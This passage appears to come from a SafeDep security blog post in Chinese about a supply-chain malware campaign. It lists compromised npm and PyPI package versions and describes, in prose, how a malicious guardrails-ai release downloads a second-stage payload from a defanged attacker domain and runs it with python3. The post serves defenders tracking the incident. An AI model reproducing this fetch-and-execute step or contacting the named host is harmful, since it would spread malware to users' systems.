| 13 | @squawk/icao-registry-data | 0.8.4, 0.8.5, 0.8.6, 0.8.7, 0.8.8 |
| 14 | @squawk/mcp | 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5 |
| 15 | @squawk/navaid-data | 0.6.4, 0.6.5, 0.6.6, 0.6.7, 0.6.8 |
| 16 | @squawk/navaids | 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.4.6 |
| 17 | @squawk/notams | 0.3.6, 0.3.7, 0.3.8, 0.3.9, 0.3.10 |
| 18 | @squawk/procedure-data | 0.7.3, 0.7.4, 0.7.5, 0.7.6, 0.7.7 |
| 19 | @squawk/procedures | 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6 |
| 20 | @squawk/types | 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.5 |
| 21 | @squawk/units | 0.4.3, 0.4.4, 0.4.5, 0.4.6, 0.4.7 |
| 22 | @squawk/weather | 0.5.6, 0.5.7, 0.5.8, 0.5.9, 0.5.10 |
22行
| 2列 |
@tallyui(npm)
tallyui-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @tallyui/components | 1.0.1, 1.0.2, 1.0.3 |
| 2 | @tallyui/connector-medusa | 1.0.1, 1.0.2, 1.0.3 |
| 3 | @tallyui/connector-shopify | 1.0.1, 1.0.2, 1.0.3 |
| 4 | @tallyui/connector-vendure | 1.0.1, 1.0.2, 1.0.3 |
| 5 | @tallyui/connector-woocommerce | 1.0.1, 1.0.2, 1.0.3 |
| 6 | @tallyui/core | 0.2.1, 0.2.2, 0.2.3 |
| 7 | @tallyui/database | 1.0.1, 1.0.2, 1.0.3 |
| 8 | @tallyui/pos | 0.1.1, 0.1.2, 0.1.3 |
| 9 | @tallyui/storage-sqlite | 0.2.1, 0.2.2, 0.2.3 |
| 10 | @tallyui/theme | 0.2.1, 0.2.2, 0.2.3 |
10行
| 2列 |
@beproduct(npm)
beproduct-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @beproduct/nestjs-auth | 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19 |
1行
| 2列 |
@draftauth / @draftlab(npm)
draftauth-draftlab-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @draftauth/client | 0.2.1, 0.2.2 |
| 2 | @draftauth/core | 0.13.1, 0.13.2 |
| 3 | @draftlab/auth | 0.24.1, 0.24.2 |
| 4 | @draftlab/auth-router | 0.5.1, 0.5.2 |
| 5 | @draftlab/db | 0.16.1, 0.16.2 |
5行
| 2列 |
@supersurkhet(npm)
supersurkhet-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @supersurkhet/cli | 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7 |
| 2 | @supersurkhet/sdk | 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7 |
2行
| 2列 |
@taskflow-corp(npm)
taskflow-corp-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @taskflow-corp/cli | 0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29 |
1行
| 2列 |
@tolka(npm)
tolka-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @tolka/cli | 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6 |
1行
| 2列 |
@mesadev(npm)
mesadev-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @mesadev/rest | 0.28.3 |
| 2 | @mesadev/saguaro | 0.4.22 |
| 3 | @mesadev/sdk | 0.28.3 |
3行
| 2列 |
@ml-toolkit-ts(npm)
ml-toolkit-ts-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @ml-toolkit-ts/preprocessing | 1.0.2, 1.0.3 |
| 2 | @ml-toolkit-ts/xgboost | 1.0.3, 1.0.4 |
2行
| 2列 |
@dirigible-ai(npm)
dirigible-ai-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @dirigible-ai/sdk | 0.6.2, 0.6.3 |
1行
| 2列 |
@opensearch-project(npm)
opensearch-project-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | @opensearch-project/opensearch | 3.5.3, 3.6.2, 3.7.0, 3.8.0 |
1行
| 2列 |
非作用域npm包
unscoped-npm-compromised-packages.csv
| 包 | 被入侵版本 | |
|---|---|---|
| 1 | agentwork-cli | 0.1.4, 0.1.5 |
| 2 | cmux-agent-mcp | 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8 |
| 3 | cross-stitch | 1.1.3, 1.1.4, 1.1.5, 1.1.6, 1.1.7 |
| 4 | git-branch-selector | 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7 |
| 5 | git-git-git | 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12 |
| 6 | ml-toolkit-ts | 1.0.4, 1.0.5 |
| 7 | nextmove-mcp | 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7 |
| 8 | safe-action | 0.8.3, 0.8.4 |
| 9 | ts-dna | 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5 |
| 10 | wot-api | 0.8.1, 0.8.2, 0.8.3, 0.8.4 |
10行
| 2列 |
PyPI包
攻击活动扩展到npm之外的Python包索引(PyPI),波及两个高调包。guardrails-ai有效载荷使用不同的传递机制:它从hxxps://git-tanstack[.]com/transformers[.]pyz下载第二阶段有效载荷并使用python3执行。git-tanstack[.]com域名显示了一条署名"With Love TeamPCP"的信息,将此攻击活动与2026年3月Trivy供应链入侵事件的幕后组织联系起来。
pypi-compromised-packages.csv
| 包 | 被入侵版本 | 生态系统 | |
|---|---|---|---|
| 1 | guardrails-ai | 0.10.1 | PyPI |
| 2 | mistralai | 2.4.6 | PyPI |
2行
| 3列 |
- npm
- pypi
- oss
- malware
- supply-chain
SafeDep博客的最新动态
关注以获取开源安全与工程的最新更新和见解